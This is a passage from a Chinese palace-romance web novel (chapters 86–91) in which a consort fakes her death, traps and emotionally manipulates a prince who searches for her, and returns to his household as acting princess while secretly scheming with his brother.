本王暂时不能给你报仇了。 肃王妃可以病死、见义勇为而死……但绝不能不明不白地暴毙。 一旦有心之人深挖,父皇得知真相后必会震怒,怪他有眼无珠,娶了个妒妇,损害皇家颜面。 门外,春苗听见了裴墨染的命令,不敢再劝,只能灰溜溜地走了。 飞霜暗喜。 赵婉宁彻底出局了! 这个好消息,她要立马告诉主子。 …… 云清婳收到飞霜的来信后,嘴角只扯着浅浅的笑弧,她一副意料之中的表情。 段南天抱臂倚靠在窗外,好奇地问:“赵婉宁已经被裴墨染打入地牢,你还不高兴?” 她讥诮的冷嘁,“赵婉宁害‘死’了我,她却只被关进地牢,裴墨染的真情,真是不值钱!” “别心急!赵婉宁毕竟是肃王妃,此事闹大了,有损皇家颜面,必会引起皇上的不满。裴墨染自然不会为了情情爱爱,影响自己的前途。”段南天分析。 云清婳自然明白这个道理。 她叹气,“攻心可真难!我现在虽然可能是裴墨染心中的白月光,是他目前最喜欢的女人,但还是不能跟皇位相比。” 但裴墨染肯拿出真心,肯尝试着爱她,已经是迈出了一大步。 攻心不能急,得一步步地来,等她把裴墨染训成狗,她在裴墨染心中跟皇位一样重要的时候,这些委屈,她一定会统统讨回来! “你也该活过来了吧?”段南天问。 云清婳颔首。 …… 裴墨染坚持云清婳没有死,一直不肯出殡。 半个月后,乾风在当铺中发现了一枚白岫玉梳篦,他当即呈给裴墨染。 裴墨染看到梳篦,眼眸登时通红,他策马奔向当铺,激动地向当铺掌柜索要典当之人的身份。 经过日夜兼程的追根溯源,只三日,裴墨染就将目标锁定在京郊外的小村庄。 清晨,天蒙蒙亮,裴墨染便带着几个心腹策马赶到村庄。 此时,许多百姓已经穿着洗到发白的棉衣在田里耕种。 春寒料峭,裴墨染只穿着单薄的玄色衣袍,双手冻得微微泛红,可他不觉得冷。 “蛮蛮一定在这里!”他翻身下马,笃定地说。 也不知是说给自己听,还是心腹听。 手下先是面面相觑,随后僵硬地应和:“是。” 几人分头行动,四处询问有没有人认识云清婳。 裴墨染沿着河流问了一路村民,从清晨问到了晌午,可是一无所获。 他心中的希望明了又灭,灭了又明,周而复返。 仿佛只要找到下一个村民,他就能得知蛮蛮的下落。 河对面,一道青色的倩影背着竹篓闪过。 裴墨染眼角的余光只是轻轻一瞥,心脏便不受控制的跳动起来。 他连忙侧头一看,河对面的女子身段婀娜,穿着洗得几乎发白的青色糙布襦裙,头上用木簪子绾着小髻,其余的青丝全都垂在左边胸口。 她肤白胜雪,修长的颈子裸露在寒风中,尽管灰头土脸可清新脱俗的气质也让他一眼认了出来。 “蛮蛮……”他喜悦地高呼,嗓音却带着微颤。 他脚下生风,不管不顾地淌着冰凉的河水朝那娇俏的人儿奔去。 “蛮蛮!蛮蛮!”他一声一声地唤着,带着无尽的视线,眼热得紧。 就像是绝世珍宝,失而复得。 云清婳回头一看,像是受惊的小鹿,羸弱的身子一抖,撒腿就跑。 她想过裴墨染会找来,可没想到这么快。 第87章 她逃他追,插翅难飞 “蛮蛮,别跑!”裴墨染到了对岸,看见小人儿离自己越来越远,紧张不已,立即加快步伐追她。 他的速度敏捷得一匹猎豹,就像在战场上追赶敌军,动了真格。 就好像他若是追不到云清婳,他们这辈子就再也见不到了。 云清婳疏于训练,没一会儿就气喘吁吁,速度也渐渐慢下来。 她突然想到狗血小说中的经典桥段——她逃他追,她插翅难飞。 “蛮蛮,别跑了!本王有好多话想跟你说。”裴墨染只余三步就能捉住她,可他害怕吓着她,没敢上前。 二人之间的距离,一直被裴墨染保持在可控的范围内。 云清婳一个闪身,跑进了树林中。 裴墨染加快速度去追,森林中积雪没有化开,树林荫翳,道路坎坷。 她穿梭在树林间,脚下打滑,踉跄了好几步。 “蛮蛮,当心摔着。”裴墨染在后面轻声提醒。 前路是一个陡坡,云清婳脚下一滑,整个人摔了下去。 裴墨染扑身飞向她,将她抱在怀里。 二人滚下了山坡,云清婳被裴墨染紧紧抱在怀中。 忽然,锵—— 一声清脆的金属声响起。 “呃……”裴墨染阴鸷的五官一拧,倒吸了一口凉气。 他瘦削疲倦的脸上,泌出了细细碎碎的汗。 “你,你的腿……”云清婳露出惊恐的表情。 裴墨染的腿被捕兽夹夹住了,坚硬锋利的铁刺扎进了左腿小腿里,血渐渐地晕染出来。 因为疼痛,他的脸色泛着不正常的苍白,他低头瞥了一眼伤处,随后视线紧张地落在云清婳的小脸上,“蛮蛮,你没事吧?” 她当然没事。 因为捕兽夹就是她特意放在这里的啊。 就是为了折磨你! “……”她的脸色幽怨,偏过脑袋,不去看他。 云清婳挣了挣,可裴墨染抱得更紧了。 “放开我!”她的语气带着薄薄的怒。 “不放,本王这辈子都不会放开你。”裴墨染的双臂加紧力气,像是恨不得将她融入骨血。 云清婳狠狠地捶打他的胸口,使出了吃奶的力气,“别碰我!别碰我!” 裴墨染或许是太疼,双臂稍稍一松,就让云清婳钻了出去。 他还想起身去追,可捕兽夹深入皮肉,像是刺中了骨头,他起不来。 “嘶……”他疼得头皮发麻,浑身不停地冒着冷汗,嘴唇都白了。 云清婳露出不忍的眼神,她捡起地上的背篓,犹豫之下还是决定逃离现场。 “蛮蛮,救救本王,本王是特意来找你的。” 裴墨染露出脆弱的神色,声音低哑的诱哄。 “蛮蛮,本王的腿好疼,你想让本王的腿断掉吗?若是断了,本王这辈子就走不了路了。” “蛮蛮,你救救本王好不好?” 云清婳长叹一声,无奈地蹲在他的脚边,她伸出手想要打开捕兽夹。 裴墨染暗喜,蛮蛮果然还是在乎他的! 他支起身子,攥住她的细腕,“捕兽夹都生锈了,当心伤着你。蛮蛮,你去找人救本王好不好?” 他的如意算盘打得很好,蛮蛮定会找救她的恩人过来,恩人来了就相当于知道了蛮蛮的藏身之地。 “我可以找人救您,但您也要答应我一件事。”云清婳板着脸说道。 “好,本王答应你。”他道。 云清婳转身就跑了。 裴墨染倚靠在山坡上,美滋滋地笑了。 这个破捕兽夹,他徒手就能掰开。 但是为了让蛮蛮心疼,让蛮蛮找人救他,他愿意多疼一会儿。 过了半盏茶的功夫,云清婳就气喘吁吁地跑回来了。 裴墨染看着小人儿为了他,累成这样,心中更安定了。 蛮蛮果然还是担心他的。 “人呢?”他疑惑的侧头,看向云清婳空无一人的身后。 云清婳从怀中拿出了纸笔。 她将纸笔放在裴墨染手边,拿乔道:“王爷,您若是写下和离书,我就立刻叫人来救您。” 此话一出,裴墨染柔软的面孔瞬间沉了下去。 他如同被人从头泼了盆冷水,如坠冰窟。 他的桃花眼骤然一瞪,似乎难以置信眼前之人的绝情,“蛮蛮,你要跟本王和离?” 云清婳的眼神如冰,她反问:“不然呢?我已经死过一次了,您还不肯放过我吗?” “你一定在跟本王说笑!又没有墨,本王怎么写和离书?”他自欺欺人的挤出惨白的笑。 “您可以用您的血写。”云清婳指着他的伤口。 裴墨染的整颗心彻底跌入谷底,蛮蛮似乎对他真的没有感情了。 他的心像是被狠狠捅了一刀,疼得快要喘不过来气,他急忙解释:“蛮蛮,本王是爱你的,之前都是本王不好,本王不敢用真心待你……” “王爷,别浪费时间了,您的腿可等不得!”她打断他的话,颇有些不耐烦。 她就是要让裴墨染提心吊胆,给他希望又让希望破灭! 把他折磨得死去活来。 让他可望而不可即! 这样他才会长教训,下次才会在赵婉宁跟她之间知道选择谁! “本王的腿没事!”裴墨染坐起身,他徒手掰开了捕兽夹。 云清婳的小嘴半张着,似乎被眼前的一幕震惊到了。 她拔腿想跑,可裴墨染就抓住她的手腕。 “蛮蛮,救救本王,本王好疼。为了找你,本王三日没阖眼了,今日还没来得及用膳。”他脆弱地看着她,不要脸地装柔弱。 云清婳像是心软了,将他扶了起来。 …… 云清婳扶着裴墨染到了一个农户家里。 农户家的门扉半掩,篱笆里养着鸡鸭,小院看上去十分温馨朴实。 推门而入,一个大娘拿着锅铲从厨房探出身子,她慈祥地笑道:“蛮蛮回来了?这位是……” 大娘上下打量着裴墨染。 裴墨染这才发觉为何他们找不到蛮蛮,蛮蛮用了乳名,而他们却一直在找“云清婳”。 “叶婶婶,给您添麻烦了。这是……我家曾经的邻居,我们恰好在村里遇见了,他受伤了,我带他来包扎一下。”云清婳愧疚地说。 裴墨染的眼眸一瞪,他搂过云清婳的肩膀,死皮赖脸道:“我是蛮蛮的丈夫!多谢叶婶救了蛮蛮,我日后定有重谢。” 叶大娘用怪异的眼神看他,她蹙眉,“可是,蛮蛮,你不是说你的夫君病死了吗?” 他的脸都绿了,他瞥了眼云清婳,“都是我不好,没照顾好蛮蛮,蛮蛮跟我赌气呢。” 叶大娘似乎看明白了什么,脸色一黑,她翻了个白眼,骂骂咧咧地进了厨房。 裴墨染的内心复杂。 还是第一次有人对他如此不敬。 但他没有怪罪。 云清婳在心里夸赞着叶婶婶的演技。 这座村子曾经发过瘟疫,姐姐冒死救下了全村的人。 所以她一说出诉求,全村的人都答应帮她演戏。 这是她专门为裴墨染营造的一出大戏! 他得好好感受一下啊。 第88章 追妻火葬场! 云清婳扶着他进了一间简陋的泥瓦房。 她扶他坐在木板床上,蹲下身,给他用草药止血包扎。 裴墨染猜测这段日子,蛮蛮就住在这里。 屋中虽然简陋,但整齐干净,就连被褥都叠得四四方方,没有褶皱,登时有种难以言说的安心感。 “蛮蛮,你受了很多苦吧?”他伸出手想要触碰她的脸。 可云清婳躲开了,她平静的说:“叶婶婶跟叶叔对我很好,在这里的每一日,我都很开心。” 裴墨染的心猛地一抽。 是啊,蛮蛮在王府时,总是受赵婉宁的欺辱,她这辈子的苦头都在王府吃尽了。 他真诚地望着她的双眼,声音沙哑:“蛮蛮,你走后,本王每天都心如火煎,夜不能寐。本王后悔对你不够好,后悔之前总让你妥协退让。本王这才知晓,原来本王早就爱上了你,可本王不敢交付真心。” “本王真是世上最混账的人!不肯信任你,不肯用真心待你,甚至还总拿肃王的身份威压你,本王这么坏,却还要求你爱本王。” “本王总觉得你不会离开本王,所以一次次的委屈你,觉得你对本王好是天经地义的。可天下哪有天经地义的事?本王不过是仗着你的爱,一遍遍拿刀子剜你的心罢了。” 他的眼眶湿润,像是痛入骨髓,深深地对她忏悔。 云清婳早已泪流满面,她的肩膀不住地轻颤,她捂着嘴,眸底满是震惊跟委屈。 “蛮蛮,再给本王一次机会好不好?你跟本王回府,不要听本王说什么,只需看本王做了什么。”他将手递给她。 云清婳摇摇头,她抽噎道:“您已经有此生挚爱的王妃跟期待已久的嫡长子了,何必来招惹我呢?我明明在这里很好。” 裴墨染想起赵婉宁跟那个破枕头,只觉得耻辱、膈应! 他正欲启唇,屋外响起了说话声。 “嘁,那男人长得人模人样,不知道做了什么缺德事!蛮蛮从悬崖上摔下来,挂在那么高的树上,多亏你采药救了哦,不然还是死路一条。”叶大娘像是故意说给裴墨染听,也像是单纯地想骂他。 叶大爷长叹一声,“蛮蛮被我救回来后,高烧不退,整个人都痴了,连说话都不会了。一直到第八天才开口说话,命苦啊。” 叶大娘心疼地说:“这是离魂症,魂魄在鬼门关走了一遭,跟死过一次没区别了。真气人,迟来的深情比草贱!” 裴墨染的心跳如鼓点,他光是听了他们的描述都胆战心惊。 他愧疚、悔恨地望着云清婳。 就是因为他的犹豫,蛮蛮才会义无反顾地跳下去。 蛮蛮单纯却偏执得可怕,她只要发现他的片刻不坚定,便会失望地弃他而去。 罪魁祸首是他! 接下来,云清婳没再跟裴墨染说一句话。 一下午,她都坐在小院里做绣品,晾晒草药预备拿出去卖。 她对叶大娘、叶大爷甚至于每个路过的邻居都礼貌、热情,唯独对他视而不见。 吃晚饭时,叶家老两口也对裴墨染没好脸色,张口闭口就是指桑骂槐,说他是薄情寡义、鲜廉寡耻的负心汉。 这些,他都不计较。 因为都是他的报应,是他的惩罚,他接受! 吃完饭后,裴墨染腾的起身,他忍着伤口,对着二老拜了拜,“多谢叶婶跟叶叔救了我娘子,我必有重谢。” 二老皆是一怔。 呃……云姑娘给的剧本上没这个情节啊。 云清婳也是诧异,她没想到裴墨染这么不要脸,叫她娘子。 她嗔怪地瞪了裴墨染一眼,面颊染上淡淡的粉。 …… 云清婳掐算着时间也不能再闹下去了。 她不敢赌男人的耐心。 毕竟在裴墨染心中,她还是比不上皇位的。 现在裴墨染被爱情冲昏了头脑,肯哄着她,可若是耽误了政事,等浓情蜜意一过,他说不定会怪她。 裴墨染跟手下汇合后,决定留宿一晚。 他简单擦洗后就上了榻,云清婳鬼鬼祟祟地抱着盆热水去了木质衣架后面。 衣架上挂着几件衣裙充当屏风。 可遮挡得并不严实,从裴墨染的角度还是能透过缝隙,隐隐约约看见暴露出来的春色。 云清婳脱去襦裙、中衣、亵衣,擦拭着身子。 透过衣架,可以影影绰绰地看见她白皙的肌肤,纤细的腰肢,身段凹凸玲珑,引人遐想。 裴墨染口干舌燥,血液激涌。 衣架后时不时传来水声,让他的呼吸都急促起来。 云清婳轻蔑地挑眉。 啧,这就上钩了? 没错,她就是蓄意勾引! 很快,云清婳就换上亵衣,她从衣架后走出来,双颊被热水浸过,透着潮红。 她坐到木桌前,披着外衣,准备趴着睡下。 裴墨染蹙眉,她就这样嫌弃他? 他走下床榻,将她打横抱了起来,“到榻上睡,当心冻着。” “滚!滚!别碰我!……”她挣扎着。 “嘶……”裴墨染佯装痛苦,“蛮蛮,别挣扎了,伤口好像又裂开了。” 云清婳闻言不敢动了,裴墨染的唇勾出一抹得逞的弧度,他将她塞进了粗布棉被里。 裴墨染上榻后,紧紧的将娇小的人儿搂进怀中。 云清婳挣了挣,嚷声道:“滚开!放开我!” 她的凶悍于他而言,就像是小奶猫发威,可爱得不行。 裴墨染更紧的搂住她,唇贴着她的耳垂,似承诺道:“不放,我这辈子、下辈子都不会放开你!” 云清婳的脸上闪过讥诮。 瞧! 虐一虐狗男人,狗男人都会说情话了。 “蛮蛮,你好香。”他将脸埋进她的颈窝,带着无尽的思念。 这股味道只有蛮蛮身上才有,就算在玄音阁,他也没有找到。 她骂道:“你鼻子有病。” 裴墨染也不恼,他讨好道:“娘子骂我,我也喜欢。” 云清婳没想到进度这么快,裴墨染在她面前开始自称‘我’了。 他已经把她当作平等的人来看待了。 “有病!”她阖上双眼,不想搭理他。 窗外清冷的月光透了进来,朦胧照着云清婳娇媚绝色的小脸。 裴墨染打量着她的脸,心中百感交集,欣喜、悲伤各种情绪交缠,让他有些眼热。 就算是当年驱逐瓦剌,他也不曾这般高兴。 裴墨染已经疲惫到了极点,可他不敢睡,他怕这是一场梦,梦醒来,枕边人就不见了。 他试探性地开口:“蛮蛮,明日跟我回府好不好?我会对你交付真心,我有许多秘密要同你说。” 恐怕他自己都没发现,他现在在云清婳的面前竟然小心翼翼。 云清婳很满意。 看啊,训狗成果这不就来了? 让高傲者低头,让胆怯者勇敢! “不要。”她脱口而出。 “你不想本王吗?不想爹娘、哥哥、飞霜、皇祖母还有小狗?”他诱哄道。 云清婳睁开眼,在听到后一句话时,明显动容了。 裴墨染的心里有点难受,在蛮蛮心里,他现在还不如一条狗? “嗯。”她应了一声。 他登时大喜过望,激动地坐了起来,扯动了伤口,让他痛得呻吟了一声,“嘶……” “蛮蛮,日后不会再有人欺负你了,我把赵婉宁关入地牢了。” 他猜测蛮蛮想听到这个。 云清婳似乎很惊讶,随后眼底凝结出细碎的光晕,眼泪从眼尾垂落到鬓角。 像是大仇得报,像是心结解开,亦像是恩怨烟消云散。 “蛮蛮,再给我一次机会,我真的知道错了。”他伸出手,心疼地为她揩去眼泪。 云清婳看着他,眼底的冰霜正在消融,“可是我已经不敢信您了,您在悬崖上选择不是我。” 他本来欢喜雀跃的心脏,又被猛地一刺,“蛮蛮,我想选的是你,我满心都是你,我不该犹豫的。” 云清婳阖上双眼,不再接话。 他们可以和好,但她就是要在他心上留一根刺。 时时刻刻地提醒裴墨染,他亏欠她,她不会忘。 …… 翌日清晨,云清婳一睁眼,就被吓了一跳。 裴墨染竟撑着脑袋,直勾勾地看着她,嘴角还带上丝丝弧度。 诡异至极! 她的心都快要跳出嗓子眼了,她捂着胸口,“您干什么?” 第89章 云妃取代王妃 “我想多看看你。”他自以为深情地说。 云清婳装作感动,可心里把他骂了一百遍。 这大厦避风了! “王爷再睡一会儿吧,我答应了会跟您走,就不会食言。”云清婳一边下榻,一边说道。 裴墨染攥着她的手腕,带着几分恳求的意味道:“蛮蛮,日后我们私下说话,不必拘泥礼数。” 云清婳很轻的应了一声。 他的脸上露出满足的笑,蛮蛮这是要跟他和好了? …… 云清婳一出房门,便听见远处传来了马蹄声。 远远地,她就眺望到一个身姿挺拔,瘦削儒雅的男人骑着白马朝这边奔来。 裴云澈下了马,多日没见,他眼睑下泛着淡淡的青,整个人清瘦不少,嘴唇呈现出不正常的水红色。 “蛮蛮。”裴云澈不顾仪态,踉踉跄跄地朝她奔来。 “殿下!”云清婳双眸含泪,扑进他的怀里。 裴云澈紧紧抱着她,像是恨不得将她融入骨血,“咳咳……蛮蛮,本王还以为这辈子再也见不到你了!” 云清婳顾忌被人看见,将他带去了屋后的菜园。 “蛮蛮,都怪本王!当初你向本王求助,本王却拒绝了你,你是不是恨透了本王?”他牵着她的双手,眼眸泛红。 她摇摇头,“妾身怎会怪您?要怪也该怪裴墨染、赵婉宁啊。” 裴云澈的眼底闪过冷意,“咳咳咳……都是本王不好,本王只想着自己,却没想到蛮蛮腹背受敌。” 这些日子他寝食难安,染上了风寒,温热难退,久久不愈。 云清婳心疼地问:“殿下,您的身子怎么了?” “无事,蛮蛮回来了,本王的身子必定会好。”他眼中含着脉脉的深情,“对了,快坐下。” 他扶着她,在木凳上坐下,他单膝跪在地上,从怀里拿出一双干净的绣花鞋。 裴云澈亲手将她脚下单薄泥泞的布鞋褪去,换上锦绣绣花鞋。 “本王记得蛮蛮最爱干净,下雨时生怕雨水脏了鞋袜,所以寻你前特意买了鞋。”他柔声解释。 云清婳的双颊泛着薄红,娇声道:“正好。” “嗯。”他温润地笑看着她,竟有种岁月静好,老夫老妻之感。 她一副感动的模样,探着脖子要吻他的唇。 可裴云澈躲开了。 她露出委屈的表情,双眼水汪汪的。 “当心本王的风寒过到你身上。”他解释。 云清婳噘着嘴,“妾身又不怕。” 这话就像是一颗石子,砸进了裴云澈古井无波的心,激荡出圈圈涟漪。 他简直要被她撩拨得神魂颠倒了! “本王怕。”他的鼻子泛酸。 他似乎下了很大的决心,“蛮蛮,我们向裴墨染摊牌吧。” 云清婳的心咯噔一响。 狗贼,是不是想害死她? 现在可不能摊牌,否则她之前的努力全都会烟消云散,裴墨染会恨死她。 她的计划是,裴墨染自己发现! 自己的兄弟,觊觎自己最喜欢的女人,这种遭受背叛的感觉,才能转化为仇恨啊。 “殿下,您冷静一点!倘若事情闹大,辱没了皇家颜面,陛下会不高兴的。”她正色道。 裴云澈的理智被稍稍拉了回来。 他抿唇,眼底酝酿着一片风暴。 …… 二人回到院子时,一群侍卫跟飞霜也来了。 “主子!”飞霜泪流满面地奔来。 云清婳跟飞霜哭着抱在一起,演得像是久别重逢的小情侣。 裴云澈笑了,“本王想着你会想见飞霜,特意把她叫来。” 云清婳感激地看着他。 “还有这个,从当铺赎回来的。”裴云澈从怀中掏出了白岫玉梳篦。 云清婳眼角的余光,瞥到了正从寝房走出来的裴墨染。 她笑吟吟地接过,娇憨道:“多谢殿下。” 裴云澈自然也瞥见了裴墨染,但他不准备收敛,他轻哄:“别哭了,眼睛红得跟小兔子似的。” 啧! 刺激,当面给裴墨染戴绿帽子! 云清婳有点兴奋。 听到二人对话的裴墨染心中窝火,裴云澈就算为了拉拢云家,也不必这样献媚讨好蛮蛮吧? 这未免有些失了分寸。 “本王代蛮蛮谢过皇兄了。”裴墨染一瘸一拐地走来,挡在云清婳身前。 裴云澈并不看他,而是注视着云清婳,“不必谢,蛮蛮平安就好,本王没有做什么。” 裴墨染的心上覆盖了冰霜,蛮蛮二字戳中了他的肺管子。 这似乎不是裴云澈第一次唤蛮蛮二字了。 裴云澈是疯了吗? 这么没分寸!蛮蛮可是他的女人! 但因为裴云澈向来克己复礼,儒雅斯文,裴墨染没把他往龌龊想,只以为他想拉拢蛮蛮。 云清婳挑眉,裴墨染真是够迟钝的。 真是活该被赵婉宁耍得团团转。 裴墨染给了叶大娘、叶大爷赏赐,免了全村三年的赋税,云清婳谢过二老之后,一行人才离开。 …… 肃王府。 马车在垂花门停下,裴墨染忍着腿伤摇摇晃晃的下了马车,他将手递出去。 云清婳瞥了他一眼,伸出嫩白的手,递给了旁边的飞霜。 裴墨染的脸色微变。 蛮蛮被他伤透了心,对他冷淡、埋怨、防备也是应该的。 门前,府邸上下早早就来迎接。 一群妾室都傻眼了。 云清婳不是跌下悬崖摔死了吗? 她怎么还活着? 难道她真是仙女转世不成? 沈沁、魏娴忍泪小跑上前,将云清婳抱着。 “云姐姐,我还以为,我还以为呜呜……”沈沁哭着。 魏娴也梨花带雨地拭泪。 “别哭了,我这不是好好的吗?”云清婳柔声安慰,眼里既感动又喜悦。 裴墨染郑重的宣布道:“从今往后,云妃代掌王妃之职,见云妃如见王妃。” 众人的脸上写满了惊讶,愣神的跪下,“是。” 云妃这是要取代肃王妃的位置啊! 云清婳也露出震惊的表情。 裴墨染看云清婳对沈沁、魏娴如此温柔,心中酸涩,他不耐烦道:“云妃舟车劳顿,别打扰她休息。” 这让一群妾室都醋得不行。 云清婳一回来,她们又要失宠了。 裴墨染不由分说攥着云清婳的手,扯着她进了轿子。 他的腿受伤了,自然不能多走,轿子将他们抬去了祠堂。 到了地方,云清婳环视一周,表情愕然,这里是裴墨染明令禁止不可进的禁地。 她疑惑道:“您为何带我来这里?” 他的双眼热忱而坚定,正色道:“蛮蛮,你说过的,夫妻就应该两不疑。我有许多秘密都要说给你。” 云清婳瞪圆了眼,似乎不敢相信,“可您为何要说给我呢?我……” 裴墨染握着她的肩膀,他郑重道:“蛮蛮,你不在的日子里,我想明白了,蛮蛮用真心待我,我也应当以真心待蛮蛮。我心里有你,你心里还有我,对吗?” “……”云清婳似有所触动,但眼中更多的是惶恐不安。 裴墨染看得出来,她仍旧不敢信他。 他握着她的手,带她去往祭桌。 桌上摆了两个牌位。 高位上是宸贵妃的,下位是一个无名牌位,上面只刻有殁亡的时日。 第90章 奴婢看见王爷哭了 云清婳的唇瓣微张,眼圈泛红,她似乎不敢相信,哽咽地问:“这是……我们的孩子?” “嗯。”裴墨染的眼中流淌着悲意,“我在乎你,也在乎我们的孩子,在我的心中,你们跟母妃一样重要。” “主子,王爷说的都是真的,您离开后,王爷日日在玄音阁醉酒,奴婢看了,心里都不是滋味。”门外的飞霜忍不住插了句嘴。 云清婳抬眸,感动的看向裴墨染,眼泪跟断了线的珠子似的啪嗒啪嗒地落下。 “之前我顾念着赵婉宁的救命之情,屡次伤害你。从今往后,她不会再是我们之间的阻碍。”他现在想起赵婉宁的欺骗、恶毒,腹中仍有火气在翻涌,气得他双臂颤抖。 “可王妃不是怀孕了吗?”她一脸不信。 裴墨染的眸子一沉,他附在她耳边,咬牙切齿道:“她是假孕!她害得你我离心,害我颜面尽失,害我险些失去你!” 她的眼泪越流越凶,小眼神埋怨地看着他,“若不是王妃有龌龊,您恐怕根本不会想起我。” 他就知道她会这样想,他心疼地揩去她的眼泪,“不!本王早就后悔了,你坠崖的那一刻本王的心都好像也跟着掉了下去,本王心里想救的人一直是你。” 云清婳只是哭。 她心里想着,狗男人,车撞树上,知道拐了? 孩子死了,知道奶了? 大鼻涕掉嘴里,知道甩了? 裴墨染捧着她的脸,似是下定了决心,低声道:“还有一件事,蛮蛮,我想说给你听。” 她的睫毛轻颤,好奇地看着他。 他在她手心写下了几个字,云清婳的手轻颤,她将手握了起来。 就像是听到了不可见人的惊天秘闻。 二人陷入了良久的沉默,似乎连对方强烈的心跳声都能听见。 裴墨染知道她被吓到了,等待她反应。 过了几息,云清婳的杏眼微瞪,“可是自古立嫡立长不立贤啊。” “那又如何?更何况,我自幼被养在皇后膝下,我怎算不上嫡?”他反问。 云清婳的心彻底安定下去。 她敢发誓,裴墨染方才的深情,绝对有演戏的成分在里面。 但他肯把野心说出来,这就说明,他对她动了情,她在他心里有了一席之地。 “可……” 裴墨染并不想跟女人谈论政务,他打断她的话:“蛮蛮,我想说,我之所以偏袒赵婉宁,还有这个原因。我不能让父皇对我有丝毫不满,不能被人抓住把柄,她身为肃王妃必须得体面、干净。” 云清婳脸上的最后一丝怨气不见了,她的神色转换为理解。 他就知道蛮蛮会懂他的。 她在他心里是重要的,他只是在她跟皇权之间纠结、犹豫罢了。 “夫君……”她颤声唤道。 裴墨染含住她的唇瓣,温柔地索取,唇齿追逐,比以往的任何一次吻都要缱绻。 一吻毕,她的唇都肿了,害羞地扑在他的怀中。 狗男人真是百无禁忌,在祠堂做这种事。 裴墨染调笑道:“有什么好害羞的?” …… 裴墨染送云清婳回玄音阁沐浴更衣。 云清婳换上了柔软尊贵的浅紫色锦绣襦裙,梳了堕马髻,尽管素面朝天却说不出的妩媚,淡红的双颊有种出水芙蓉之感。 她随意一瞥,便看见桌上摆放着一匹刺绣精密紫色蜀锦跟几串紫宝石手串。 这让她微微一怔。 “蛮蛮,你走后,我悔不当初,一闭眼,眼前全是你被诘难的模样。我恨不得将天下最好的东西捧在你面前。”裴墨染道。 “主子,这蜀锦是王爷特地派人去蜀地寻的,寻了一个月,才花重金买下。手串是王爷亲自去西南的矿地找的。”飞霜道。 贴身太监生怕云清婳不信,也跟着点头。 云清婳很给面子地流了几滴眼泪。 看,明明这么容易就能找到的东西,当初的裴墨染只会动嘴皮子哄她,让她忍受赵婉宁的欺负。 这就是用心跟不用心的区别啊。 裴墨染捞着她的腰,将她搂在怀里,死皮赖脸道:“娘子,莫要再气了,为夫知错了。” 此话一出,云清婳浑身的鸡皮疙瘩都起来了。 真恶心。 而飞霜、贴身太监都露出牙酸的表情。 咦,真腻歪! 亏他说得出口啊。 云清婳的黛眉微蹙,虎着脸,严肃道:“真的没有下次了!” “是!没有下次了!”裴墨染做小伏低,顺着她说。 他的心里着实欢喜,心中缺失的部分又被填满。 云清婳这才展露出些许笑容。 裴墨染又带着她去了相府。 云家人又当着裴墨染的面演了出洒泪大戏,这件事才算完。 …… 下午,清心阁禁闭,所有夫人、妾室一齐前来玄音阁请安。 云清婳坐在上首,颇有“熹妃回宫”的架势。 大多数妾室都会察言观色,见风使舵。 赵婉宁流产,云清婳“死而复生”,王爷现在更宠爱的自然是云清婳。 妾室纷纷投诚,就连崔夫人也安分下来。 云清婳说自己乏了,送走众人后,沈沁、魏娴留了下来。 三人似乎有说不完的话,不知不觉天都黑了,魏娴识趣地拉着沈沁走了。 今晚,王爷必定会来玄音阁。 她们呆在这里碍眼不合适,而且还会有邀宠的嫌疑。 果不其然,二人出门的时候,撞见了裴墨染。 “参见王爷。”沈沁、魏娴行礼。 裴墨染的视线落在沈沁、魏娴的脸上,眼神莫测,“天色已晚,路上当心些,快回去吧。” “是。”二人告退。 她们跟蛮蛮亲近,他自然看她们顺眼些。 他想着日后对她们好些,蛮蛮在后宅也会有所依傍。 裴墨染不准婢女通传,他故意将步伐放轻,走到了门外。 此时,云清婳正在用膳,并没有等他。 裴墨染的心中泛起淡淡的酸涩,他想起从前无论多晚,蛮蛮总会等他回来用膳。 还会兴高采烈地小跑上前,唤他夫君。 经过这一次,他们之间终究是不如从前了。 “主子,您不在的时候,王爷每日都会来玄音阁,他喝得烂醉如泥,奴婢好像看见王爷哭了。”飞霜有几分幸灾乐祸。 裴墨染的耳根子一红,有点恼羞成怒。 这个婢女真是没规矩! 这种密辛,她怎敢说出来? 但他也想看看蛮蛮的反应。 第91章 裴墨染:给我抱抱,就不疼了~ 云清婳捏着筷子的手一顿,她长叹一声,“飞霜,我是不是太坏了,不该对他这么冷淡?” 裴墨染的心口一痛。 蛮蛮总是这样,永远为别人考虑。 “主子,王妃那样对您,可您为了她的孩子都跳崖了,您若是坏,世上就没好人了。”飞霜一字一顿,像是想把云清婳的想法给纠正。 “蛮蛮怎么对本王都好。”裴墨染踏进门中。 云清婳、飞霜一惊。 “参见王爷。”飞霜惊惶地跪地。 裴墨染不满地扫了她一眼,他摆摆手,屏退了众人。 云清婳像是说人坏话被抓住,她尴尬地启唇,“王爷……” “我们私下说话,不必拘泥。”他拉着她的手。 “是。”云清婳小心翼翼地扶着他在桌前坐下。 “飞霜失言,您别怪她。”她求情道。 他在她心中就是这么斤斤计较的人? “别听她胡说,我才没哭。”他嘴硬,还故意摆出冷峻坚毅的表情。 云清婳的嘴角上扬,“好,您没哭。” “……”他感觉自己特别丢脸,在蛮蛮面前有点无地自容。 裴墨染腿上的伤口很深,见血见肉,锋利的齿轮险些刺进骨头,造成骨裂。 但对百战沙场的裴墨染而言,只要没有伤筋动骨,便是小伤,完全可以忍受。 甚至于只要不仔细看,厚重的官袍下,无人能看出他走路有点跛。 可面对云清婳,他无病呻吟起来:“蛮蛮,我的腿好疼。” “我召府医来给您上药。”她起身要走,可腕上传来一股力道,将她往后一扯。 她猝不及防地跌进了一个温热的怀抱。 裴墨染跟抱孩子似的,让她横坐在他的大腿上,他将脸埋进她的颈窝,“抱着你,就不疼了。” 炙热的呼吸喷洒在她的颈间,让她很痒,她羞涩地推开他的脸,“夫君可用膳了?我重新传膳吧。” “不必,添双碗筷就够了。”裴墨染吩咐下人进来添碗筷。 她小声嘟哝:“可是菜脏了。” “你的口水,我吃少了?”他眼中攒出戏谑,混不吝地问。 云清婳的脸蛋通红,她捂着耳朵,像是羞愤欲绝,“别说了!您真是太坏了!流氓!” 他的心情甚好,轻笑道:“害羞什么?你上次还非要亲我呢。” “我没有!”她恼了,在他胸口捶了一拳。 贴身太监在门口远远看着,露出欣慰的笑。 还是云侧妃跟王爷在一起的时候让人舒心。 面对云侧妃时,王爷才像一个弱冠不久的少年。 …… 夜晚,二人静静地躺在榻上。 裴墨染紧紧搂住云清婳,就像生怕她会消失似的。 她的脸贴着他的胸口,倾听他躁动的心跳。 